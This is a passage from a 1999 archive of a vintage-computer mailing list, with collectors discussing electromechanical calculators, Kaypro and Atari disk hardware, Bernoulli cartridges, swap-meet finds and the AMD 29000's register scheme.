at Jan 30, 99 08:03:13 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 967 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/055a5c9c/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 13:33:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: photographing olf computers/parts In-Reply-To: <9901301357.ZM9836@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 30, 99 01:57:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2247 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/d9a83098/attachment.ksh From dpeschel at u.washington.edu Sat Jan 30 14:37:49 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: from "Anthony Clifton - Wirehead" at Jan 30, 99 01:20:41 pm Message-ID: <199901302037.MAA21136@saul10.u.washington.edu> > I've often thought it would be fun to collect old telephone company > equipment, like chunks of crossbar and step-by-step switches, early > ESS switches and so on. My fantasy is to acquire the equipment from > a small rural exchange that was upgraded, get it set up and run an > actual non-connected telephone exchange in my basement. But the > power requirements are bizarre and that equipment never seems to > surface anyplace I can find it. Oh, have I got a URL for you! I'm also posting it because Hans asked for it a while ago. http://www.scn.org/tech/telmuseum/index.html The Vintage Telephone Equipment Museum This place is in the Seattle area. They have a number of working, actual non-connected telephone exchanges. At the old end, there are a couple of switchboards (the kind that go with magneto phones). There are also step-by-step and crossbar switches and there's a 3ESS switch. And there are phones to go with the switches, of course, and PBXs, not to mention a very nice Teletype collection and a further range of non-working or non-connected equipment. (Did you know that Western Electric made washing machines?) They do have a small computer collection. I'm still looking for docs and software for the 3B2, by the way. Perhaps they could tell you how to get more equipment. -- Derek From gregorym at cadvision.com Sat Jan 30 14:53:39 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:41 2005 Subject: Plato terminal Message-ID: <3.0.32.19990130135338.00693c34@cadvision.com> Hi Geoff, I think you'll find that you have 32K of additional memory for your 99/4A. All of the expansion cards I ever saw for TI's Peripheral Expansion Box (TM) were 32K. Cheers! Mark "A 99'er from way back" Gregory. At 07:01 PM 1/30/99 +1030, you wrote: >I vaguely seem to remember that the Plato Courseware also ran, or they had a >version for, the TI99/4A. >They were pushing it at schools and the like IIRC. >My first real computer was a TI....Still got it here somewhere, complete >with the expansion box and 24k of additional ram, and a 5.25" FDD. > >Cheers > >Geoff Roberts >Computer Room Internet Cafe >Port Pirie >South Australia. >netcafe@pirie.mtx.net.au > > > From gregorym at cadvision.com Sat Jan 30 15:00:06 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:41 2005 Subject: interesting book Message-ID: <3.0.32.19990130140004.006954e8@cadvision.com> The "Pink Shirt" book was The Peter Norton Programmer's Guide To The IBM PC, subtitled "The ultimate reference guide to the entire family of IBM personal computers". It was first published, incidentally, by Microsoft Press in 1985. Mark. At 09:19 AM 1/30/99, you wrote: >At 08:45 PM 1/29/99 -0600, you wrote: >>> > >>> > Well well, people throw out the darndest things.. >>> > >>> > I found a copy of a book by someone named Peter Norton. Looks to me >like it >>> > may have been his first book. Called 'inside the IBM PC'. >>> >>> Isn't this the well-known pink-shirt book (so called because of the cover >>> picture). >>> >> >>Nope, it has a circuitboard as a background, and some horizontal fake >>lightning on the cover. > > That's his first edition. The second also showed a circuit board but >without the lightning. I remember the pink shirt book it was also PN but I >don't remember exactly what the book was. > > Joe > > > From red at bears.org Sat Jan 30 16:23:36 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: Message-ID: On Sat, 30 Jan 1999 Jgzabol@aol.com wrote: > Today I run into a Monroe CAA-10 electromechanical calculator, > totally accidentally and unplanned. I am not in electromechanical > devices, but it looked nice, so I bought it for approx. US$60. > > Question: Is this in any way rare or significant, or is it something > where everybody has already 10 pieces of ? I had a '50s-ish Monroe electromechanical desk caluclator when I was in elementary school. I convinced my parents to buy it for me from a JC Penney firesale. I think it cost around $15. This would've been in the late 1980s. I remember thinking it was pretty groovy, even if there were some things about it I didn't quite understand how to make work properly. My little brother pushed it off my desk on day and it stopped working, so I reluctantly threw it away. I realise this is in no way helpful to you, but you reminded me of this apocryphal sotry and I thought I'd share it. (: ok r. From pete at dunnington.u-net.com Sat Jan 30 16:30:23 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:41 2005 Subject: photographing olf computers/parts In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: photographing olf computers/parts" (Jan 30, 19:33) References: Message-ID: <9901302230.ZM22615@indy.dunnington.u-net.com> On Jan 30, 19:33, Tony Duell wrote: > The names comes from the fact that if the film was perfect there's a > reciprocal relationship between the exposure time and the aperture area Exactly. > In other words, bracket the exposures - take the same picture at several > different exposures and use the best one. > > The effect is that colour balance can be wildly different at very short > > or very long exposure times. > While undoubtedly true in theory, I don't think this will affect most > people on this group. I've taken a lot of pictures inside buildings > without flash (exposures of 20 seconds, perhaps), using Kodachrome. Kodachrome is more tolerant than many films, but in general you'd need exposures over a minute or so to see a serious cast develop. > > Also, ordinary B/W film is "panchromatic" -- sensitive to most of the > > visible colour range (and also to UV, which is why most professionals tend > > to put a UV or "skylight" filter on every lens as a matter of course). > > That, and a new filter is cheaper than a new lens if you happen to knock > it against something ;-) Or have it splattered with salt spray :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From jrkeys at concentric.net Sat Jan 30 17:18:15 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:41 2005 Subject: MN get together Message-ID: <000201be4ca6$d07a2320$9db0adce@5x86jk> Sorry but this the only way to contact all the folks at the same time. We would like to have get together at one the members home here in Burnsville within the next couple weeks to discuss the classic's or whatever. We were thinking of ordering pizza and you folks can bring your own drinks (beer,soda). Please e-mail me at jrkeys@concentric.net if you feel this something we would like to start on monthly or every two month basis. Thanks and all others sorry for using list. From ard at p850ug1.demon.co.uk Sat Jan 30 16:51:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: from "Anthony Clifton - Wirehead" at Jan 30, 99 01:20:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1375 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/ef847245/attachment.ksh From mbg at world.std.com Sat Jan 30 17:50:24 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:41 2005 Subject: Bernoulli cartridges Message-ID: <199901302350.AA10476@world.std.com> I picked up two drives at the MIT flea's last year... I was only able to get two disks... if you find a source, please let me know as well (yes, I have the 90 MB version too). Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From geoffrob at stmarks.pp.catholic.edu.au Sat Jan 30 18:51:29 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:41 2005 Subject: Plato terminal In-Reply-To: <3.0.32.19990130135338.00693c34@cadvision.com> Message-ID: <199901302352.PAA26177@mxu4.u.washington.edu> > Date: Sat, 30 Jan 1999 13:53:39 -0700 > Reply-to: classiccmp@u.washington.edu > From: Mark Gregory > To: "Discussion re-collecting of classic computers" > > Subject: Re: Plato terminal > I think you'll find that you have 32K of additional memory for your 99/4A. > All of the expansion cards I ever saw for TI's Peripheral Expansion Box > (TM) were 32K. Quite correct. I think from memory (no pun intended) that only 24k was available for some reason. Something to do with the 16k onboard ram in the console being allocated exclusively to video when the extra ram card was present. Something like that.. It's been a few(?) years now. Heck, 1982?? I might have to see if I can still find the documentation, I've moved a few thousand miles a few times since then... Cheers Geoff Roberts From jim at calico.litterbox.com Sat Jan 30 18:27:13 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:41 2005 Subject: new toy! In-Reply-To: from "Don Maslin" at Jan 29, 1999 03:02:48 PM Message-ID: <199901310027.RAA09196@calico.litterbox.com> > > > I'd love to know how this is done. :) > > Which? The 3.5 inch drive conversion. Using modern media on this machine would simplify things enormously. However I don't have the facilities to burn my own roms, so if it involves patching the bios rom (like it sounds like) I'll stick with 5.25 I guess. > > > The 4/84s and 2Xs and 10s all had a 50 pin header that lead to an adapter > > > board, which in turn led - by way of a 40 conductor ribbon - to the WD HD > > > controller. > > > > Actually the stickers on the back read "Kaypro 4 '84" and it has half height > > drives. The drive connector feeds directly to the main board. to the rear > > of that is what appears to be a connector that wasn't ever attached - there are > > holes but no connector. > > Well, if that is so, it should have a 50 pin header or the traces and > pads for it on the right hand edge of the motherboard just beyond the > floppy connection header. That's right. It has the pads and traces for probably a 50 pin header just behind the floppy connection header. Is this where I'd plug in the hard disk controller if I had it? And I don't suppose anyone ever made a SCSI host adapter for this thing? being able to use SCSI disks in it like I do in nearly every other machine I own would be VERY handy. (yes, I'm a SCSI bigot. I lothe IDE). -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jim at calico.litterbox.com Sat Jan 30 18:36:34 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:41 2005 Subject: Daily Laugh! In-Reply-To: <199901300137.RAA02788@saul4.u.washington.edu> from "Derek Peschel" at Jan 29, 1999 05:37:09 PM Message-ID: <199901310036.RAA09261@calico.litterbox.com> I know majordomo can do this. In the config file you say private=yes - this means though that people whos e-mail addresses vary can only post with the address that is a member of the list. My majordomo-guru-spouse assures me this can be worked around too. Of course this information does you no good if this list isn't run on majordomo... > > > Um, Derek, you're gonna unsubscribe this, right? > > I just did, and they weren't subscribed in the first place. > > I wonder if I can change the configuration so that only subscribed people > can send things to the list? Is that really a good idea? > > -- Derek > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From ard at p850ug1.demon.co.uk Sat Jan 30 18:02:27 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: photographing olf computers/parts In-Reply-To: <9901302230.ZM22615@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 30, 99 10:30:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1130 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990131/ee7080a9/attachment.ksh From eric at brouhaha.com Sat Jan 30 20:01:39 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: (message from Anthony Clifton - Wirehead on Sat, 30 Jan 1999 13:20:41 -0600) References: <199901301425.GAA30225@saul7.u.washington.edu> Message-ID: <19990131020139.10839.qmail@brouhaha.com> Anthony Clifton - Wirehead wrote: > The ESS switches, like the 1A and so on, are VERY computer-like. Well, given that an ESS *is* a computer that happens to be attached to a switch fabric, that's not particularly surprising. People might not be aware, however, that the No. 1 and 1A ESSes used analog switching, unlike the now-common 5ESS. From zmerch at 30below.com Sat Jan 30 20:15:40 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: References: Message-ID: <3.0.1.32.19990130211540.0092cd50@mail.30below.com> On or about 05:23 PM 1/30/99 -0500, R. Stricklin (kjaeros) was caught in a dark alley speaking these words: >I had a '50s-ish Monroe electromechanical desk caluclator when I was in >elementary school. I convinced my parents to buy it for me from a JC >Penney firesale. I think it cost around $15. This would've been in the >late 1980s. I'm going to try to keep this on-topic (or at least close)... My parents had a '60's Victor, which cost big $$$, but was no longer used, so they kept it in the attic. Occasionally, they'd bring it down and let us kids play on it, but I was the only one who had any interest in it whatsoever. >I remember thinking it was pretty groovy, even if there were some things >about it I didn't quite understand how to make work properly. > >My little brother pushed it off my desk on day and it stopped working, so >I reluctantly threw it away. When I was 11 or 12, I broke the Victor in a non-violent way, but had no clue how until a few years later... See, this Victor had the ability to divide, and at the time I broke it, I had no idea that dividing by zero was a bad idea..... Damn, the racket that thing made (and still makes today if you plug it in) as it tries to keep dividing by zero whenever power is applied. Can't do it on computers now, either. (Thank goodness for error trapping... ;-) See ya, "Merch" ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From ard at p850ug1.demon.co.uk Sat Jan 30 20:11:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: <3.0.1.32.19990130211540.0092cd50@mail.30below.com> from "Roger Merchberger" at Jan 30, 99 09:15:40 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 945 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990131/a5bc83c6/attachment.ksh From eric at brouhaha.com Sat Jan 30 20:26:52 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:41 2005 Subject: AMD 29000 (was Re: TI99: WP and PC) In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990131022652.10923.qmail@brouhaha.com> Tony Duell wrote: > The PERQ 1a and later have a very interesting feature. A register index > register (!). These machines have 256 processor registers on the CPU > card. A microinstruction selects which registers to use by a couple of > 8-bit fields in the microcode word. But on the 1a and later, there's an > 8-bit register on the CPU card that's ORed with the register address from > these microcode fields if the instruction references one of the first 64 > registers. The AMD 29000 family of RISC processors have something similar, but arguably even better. It's also similar to register windows as used on processors like the SPARC, but it's more flexible. They also use 8-bit fields for register access. Only a few special registers are in the range of 0..63. 64..127 are global registers. But registers 128..255 are local registers, and the low seven bits of one of the special registers, the local register pointer, is added to the low seven bits of any register address in that range. The high 25 bits of the local register pointer are not used by the processor, but they play a key role in the software. The local registers are used as a cache of the top stack frames. Only complete stack frames can reside in the local registers, which means that the maximum size of a stack frame is 128 32-bit words. When a non-leaf function is called, the function prolog tests whether there are a sufficient number of local registers available for its frame. If not, one or more of the oldest stack frames are spilled to memory to make room. Then the local register pointer is updated so that the new stack frame starts at local register 128. Note that even stack frames in the local registers have a corresponding area in memory associated with them, into which they might get spilled by another function call. Thus the local register pointer always contains the full 32-bit address of the memory assigned to the current stack frame. The really clever thing that they did in the 29000 was that the function prolog was only about three instructions long. One of the instructions was an assert, which would cause a trap if a spill was necessary. But if no spill was necessary, the assert only takes a single CPU cycle. Similarly there is a epilog on function exit containing an assert that will trap to fill an old stack frame back from memory into the local registers if necessary. The down side of all this is that if you need to do a context switch, you have to save a huge number of registers. There was a clever hack to avoid needing to save too many registers in interrupt handlers. Note that an interrupt can occur during a function prolog or epilog, though not in the spill or fill traps. But because the function prolog and epilog are manipulating various pointers used by the spill/fill mechanism, when the interrupt occurs those registers may be in an inconsistent state. Daniel Mann of AMD wrote an application note in which he described a method for the interrupt handler to detect whether a prolog or epilog had been interrupted, and deal with it accordingly. But unfortunately I was not able to get it to work. It turns out that if you don't need the interrupt handler to be able to cause a context switch (i.e., you're not writing a preemptive OS kernel), you can ignore much of this complexity. The interrupt handler's assembly language glue can simply save the local register pointer, and load it with a new value that points to an interrupt stack, and makes it look like the local registers contain a maximum-sized stack frame, which I'll call the pseudo-frame. Note that the pseudo-frame may actually contain any number of user frames, and that they are not necessarily aligned in any particular order since the local register pointer has been changed. Now when the interrupt happens, the interrupt handler's function prolog will have to cause a spill in order to make room for its own stack frame. But because of the way the stack has been swapped, the needed registers will spill not to the task's stack, but the interrupt stack. Note that a spill does not necessarily write an entire stack frame to memory, but only enough registers to make room for the new frame. However, a fill has to make sure that at least one complete frame is available. When the interrupt handler returns, its epilog will fill the pseudo-frame back into the local registers, then the assembly language glue will reload the orginal values of the local register pointer. Another amusing feature of the 29000 is that some of AMD's software used global register 4. I was stunned when I noticed this, because the documentation denies the existence of global register 4. My own attempts to use global register 4 failed. It turns out that like most RISC processors (and even some CISCs), there is a feed-forward data path so that if the result of one instruction is used by the next instruction, that data is fed back around directly from the ALU output back to its input. Otherwise a pipeline stall would be necessary so that the second instruction wouldn't read stale data from the register file. Because of this feed-forward mechanism, it is possible to use any unimplmented register as a single-cycle temporary register. But this is only safe when interrupts are disabled, because if an interrupt were to happen after the first instruction of the pair, the data for the unimplemented register can't be saved. Eric From dastar at ncal.verio.com Sat Jan 30 20:46:02 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:41 2005 Subject: Kennedy tape drive part In-Reply-To: <199901302025.PAA19600@chmls06.mediaone.net> Message-ID: On Sat, 30 Jan 1999, Jon Healey wrote: > If anyone wants me to pick up any let me know. > > They're 50 cents apiece plus shipping, which shouldn't > be much. > > There were quite a few so I don't think that supply is a > problem. > > Let me know soon. Sure, send me a dozen. Thanks. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dburrows at netpath.net Sat Jan 30 20:48:10 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:41 2005 Subject: Bernoulli cartridges Message-ID: <003801be4cc4$89d1ed90$bf281bce@tower166> I recently picked up about 30 150meg Bernoulli cartridges that have never been opened. According to the chart on the back they should work on the 90meg. Dan > >I picked up two drives at the MIT flea's last year... I was only >able to get two disks... if you find a source, please let me know >as well (yes, I have the 90 MB version too). > > Megan Gentry > Former RT-11 Developer > >+--------------------------------+-------------------------------------+ >| Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | >| Unix Support Engineering Group | (home): mbg!world.std.com | >| Compaq Computer Corporation | addresses need '@' in place of '!' | >| 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | >| Nashua, NH 03062 | "pdp-11 programmer - some assembler | >| (603) 884 1055 | required." - mbg | >+--------------------------------+-------------------------------------+ > From marvin at rain.org Sat Jan 30 21:44:06 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:41 2005 Subject: TRW Swap Meet References: <003801be4cc4$89d1ed90$bf281bce@tower166> Message-ID: <36B3D186.AA4CC342@rain.org> Had a great time this morning at the TRW Swap meet. John, Doug, Dave, and I were there. The trip was rewarding, and lunch after was great. Doug found an Basis 108 that he didn't want to take back, so it is now sitting on the kitchen table (thanks Doug!) The others can comment on their "scored" items. Nothing like a fun morning to start the weekend off properly! From dastar at ncal.verio.com Sat Jan 30 22:13:26 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:41 2005 Subject: Russian Computer Museum Message-ID: Wow, a Russian computer museum. http://www.computer-museum.ru I hope you can read Russian. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From allisonp at world.std.com Sat Jan 30 22:28:05 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:41 2005 Subject: new toy! Message-ID: <199901310428.AA21968@world.std.com> Hi there. I finally scored a piece of disk-based software for Atari 8-bits, so I decided today to test out my atari disk drives to see if any of them actually worked. One 1050 did. The other 1050 doesn't run the seek test when you turn it on, and is invisible to the computer. I removed the actual disk drive from the cabinet and verified that it does in fact work in the other 1050 chassis. While doing this I noticed that the non-working 1050 seemed to have had a modification done (rather sloppily, I might add; I suspect this has something to do with why it doesn't work properly). There is a hand-written silver sticker over what I'm assuming is an EPROM that reads, "Doubler". There is a second Motorola 6810 piggybacked onto the normal 6810, and a couple of jumper wires leading off into the PCB. What was this, and how was it done properly (so I can verify that it's ok)? I have a Percom branded full height disk with Atari SIO connects on that also seems to not work. I think this is because I need to decipher the 4-position DIP switch at the back panel. Any hints? As it is now, the access light repeatedly switches on and goes off again, each accompanied by a moderately loud click. The light is on for a second and then off for maybe two. It doesn't ever stop doing this, and the drive is invisble to the computer. The drive inside is full height, and made by Tandon I believe. ok r. From KFergason at aol.com Sat Jan 30 23:03:04 1999 From: KFergason at aol.com (KFergason@aol.com) Date: Sun Feb 27 18:40:41 2005 Subject: Bernoulli cartridges Message-ID: <11f6f645.36b3e408@aol.com> In a message dated 1/30/99 8:58:55 PM Central Standard Time, dburrows@netpath.net writes: > I recently picked up about 30 150meg Bernoulli cartridges that have never > been opened. According to the chart on the back they should work on the > 90meg. > Dan > hmm, i don't have any new ones, so the chart you are talking about makes no sense to me. Can you write to the 150's with the 90M drive? perhaps, format the cartridges as 90's? Is that what it means? just curious. kelly From dlw at trailingedge.com Sat Jan 30 23:17:02 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:41 2005 Subject: Some finds and a few questions Message-ID: <199901310517.XAA25656@trailingedge.com> I finally had a chance to get out and hit a few thrifts again. I was chained in a studio working on an anime, but I'm free again. Anyway, I found a Xebec Sider harddrive. Was this for the Apple //? Something was loose inside so I checked and found a small rectangle filled with some ceramic like stuff and a wire sticking out of each end inside of the PSU. Can't seem to see anywhere in the power supply where this thing may have come from but also can't see how it could have gotten inside if it didn't belong. Not even sure what it is. Any ideas anyone? Also would like any info on the drive type, size interface, etc. It is a model 9710H. Looks like I can pull the drive from the case and hook up a different PSU. On another note, anyone tell me anything about a handheld unit, I think it was an LK-3000 or some such, I'll have to go back and check. The guy wants $50 for it and also has a Tandy Pocket Computer for $40 I'm thinking of picking up. Other things I grabbed: Odyssey2 in box Coleco Adam in box (damn big box for a home console system) Atari 1040STf (may sell/trade this as I have one and an STfm too) Couple of Apple 5.25" drives Misc software and books For those of you who were interested in the Mattel Aquarius Data Recorders, after two months of no replies to my query on where to drop off the money and pick up the recorders, I have finally given up on them. They said they accepted my offer but then they just fell silent. Guess they found someone else with a better offer. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From donm at cts.com Sun Jan 31 00:33:08 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:41 2005 Subject: new toy! In-Reply-To: <199901310027.RAA09196@calico.litterbox.com> Message-ID: On Sat, 30 Jan 1999, Jim Strickland wrote: > > > > > I'd love to know how this is done. :) > > > > Which? > > The 3.5 inch drive conversion. Using modern media on this machine would > simplify things enormously. However I don't have the facilities to burn > my own roms, so if it involves patching the bios rom (like it sounds like) > I'll stick with 5.25 I guess. OK, I guess Allison filled that one in pretty well! TurboROM, or equivalent, is your answer. > That's right. It has the pads and traces for probably a 50 pin header just > behind the floppy connection header. Is this where I'd plug in the > hard disk controller if I had it? And I don't suppose anyone ever made > a SCSI host adapter for this thing? being able to use SCSI disks in it > like I do in nearly every other machine I own would be VERY handy. (yes, > I'm a SCSI bigot. I lothe IDE). No, that is where you would plug in the adapter card from a K10 that converts the signals to 40 conductors that are required by the WD1002-HDO. Actually, on the downstream side of the adapter card you are tremendously close to an IDE interface. As I understand it, the IDE interface is premised on the commands that are required by the WD1002-nnn controller. zI have forgotten the exact model, but it must be near to the WD1002. - don > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > ----------------------------------------------------------------------- > From dastar at ncal.verio.com Sun Jan 31 00:42:38 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:41 2005 Subject: Instant classic Message-ID: Have you all seen the latest G3 PowerMac on the TV ads? Instant classic! I want one in fact. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sun Jan 31 01:01:07 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:41 2005 Subject: Some finds and a few questions In-Reply-To: <199901310517.XAA25656@trailingedge.com> Message-ID: On Sat, 30 Jan 1999, David Williams wrote: > I finally had a chance to get out and hit a few thrifts again. I was > chained in a studio working on an anime, but I'm free again. > Anyway, I found a Xebec Sider harddrive. Was this for the Apple //? Yes. 10MB. Mine is still running strong after 14+ years of usage (well, it hasn't really seen much action in the past 5, but it did use to run on a 24/7 BBS back in the 80s). I hope you got the Xebex controller card with it. Its probably inside the Apple //e that the drive was donated to the thrift store with. > what it is. Any ideas anyone? Also would like any info on the > drive type, size interface, etc. It is a model 9710H. Looks like I > can pull the drive from the case and hook up a different PSU. I believe its an ST-225 (or whatever the 10MB Seagate model is). I just opened up my Sider ][ and its some sort of NEC half-height 5.25" drive. > On another note, anyone tell me anything about a handheld unit, I > think it was an LK-3000 or some such, I'll have to go back and > check. The guy wants $50 for it and also has a Tandy Pocket > Computer for $40 I'm thinking of picking up. $40? At a thift store? Sheesh. $15 tops. Is the LK-3000 truly handheld or is it a portable like a Tandy M100? > Other things I grabbed: > > Odyssey2 in box Cool. > Coleco Adam in box (damn big box for a home console system) Cool. I passed on the chance to get two of these in the box for $20 about 5 years ago but balked at the shipping. Its not like they're Altairs but people these days would want ebay dollars for something like that. The printer came in the box too, right? That explains the size. > For those of you who were interested in the Mattel Aquarius Data > Recorders, after two months of no replies to my query on where to > drop off the money and pick up the recorders, I have finally given up > on them. They said they accepted my offer but then they just fell > silent. Guess they found someone else with a better offer. I forgot all about that. Were you in voice contact with them or e-mail? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Sun Jan 31 01:02:31 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:41 2005 Subject: TRW Swap Meet In-Reply-To: <36B3D186.AA4CC342@rain.org> Message-ID: On Sat, 30 Jan 1999, Marvin wrote: > Had a great time this morning at the TRW Swap meet. John, Doug, Dave, and I > were there. The trip was rewarding, and lunch after was great. Doug found > an Basis 108 that he didn't want to take back, so it is now sitting on the > kitchen table (thanks Doug!) The others can comment on their "scored" > items. Nothing like a fun morning to start the weekend off properly! Yup, the Basis was a very interesting machine and in like-new condition. I'd never seen one before. Apparently a German Apple II clone with a Z80 in addition to the 6502 (from 1982). I also picked up an Otrona Attache (at last!), a Vector Graphics box, a Fujitsu Stylist 500, a near-new-in-box NEC PC-8500, and nabbed a few books from John, who scored a few classic boxes. Good company. Good scores. Good weather. What else could you ask for? -- Doug From jim at calico.litterbox.com Sun Jan 31 01:33:14 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:41 2005 Subject: new toy! In-Reply-To: from "Don Maslin" at Jan 30, 1999 10:33:08 PM Message-ID: <199901310733.AAA10957@calico.litterbox.com> > > That's right. It has the pads and traces for probably a 50 pin header just > > behind the floppy connection header. Is this where I'd plug in the > > hard disk controller if I had it? And I don't suppose anyone ever made > > a SCSI host adapter for this thing? being able to use SCSI disks in it > > like I do in nearly every other machine I own would be VERY handy. (yes, > > I'm a SCSI bigot. I lothe IDE). > > No, that is where you would plug in the adapter card from a K10 that > converts the signals to 40 conductors that are required by the WD1002-HDO. > > Actually, on the downstream side of the adapter card you are tremendously > close to an IDE interface. As I understand it, the IDE interface is > premised on the commands that are required by the WD1002-nnn controller. > zI have forgotten the exact model, but it must be near to the WD1002. So what you're saying is there are two additional boards, the adapter card, and the wd1002-hdo. Bleah, I think I'll leave it floppy based. The wd card alone seems to be running about 75 bucks. Now I just need to put a 5.25 inch drive on my pc so I can write out a boot floppy. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From marvin at rain.org Sun Jan 31 01:50:26 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:41 2005 Subject: Atari 1050 mods? References: Message-ID: <36B40B42.B84221D6@rain.org> R. Stricklin (kjaeros) wrote: > > While doing this I noticed that the non-working 1050 seemed to have had a > modification done (rather sloppily, I might add; I suspect this has > something to do with why it doesn't work properly). > > There is a hand-written silver sticker over what I'm assuming is an EPROM > that reads, "Doubler". There is a second Motorola 6810 piggybacked onto > the normal 6810, and a couple of jumper wires leading off into the PCB. > > What was this, and how was it done properly (so I can verify that it's > ok)? The only mod I can remember for the Atari 1050 was the addition of a data separator. If someone else has the mod docs handy, they can verify. If not, I can find the docs, but it might take a while. From lwalker at mail.interlog.com Sat Jan 30 21:03:51 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: References: from "Jgzabol@aol.com" at Jan 30, 99 08:03:13 am Message-ID: <199901310803.DAA25021@smtp.interlog.com> On 30 Jan 99 at 19:26, Tony Duell wrote: > > > > Today I run into a Monroe CAA-10 electromechanical calculator, > > totally accidentally and unplanned. I am not in electromechanical > > devices, but it looked nice, so I bought it for approx. US$60. > > > > Question: Is this in any way rare or significant, or is it something > > where everybody has already 10 pieces of ? > > Mechanical and electromechanical calculators are interesting machines > IMHO (I really must get 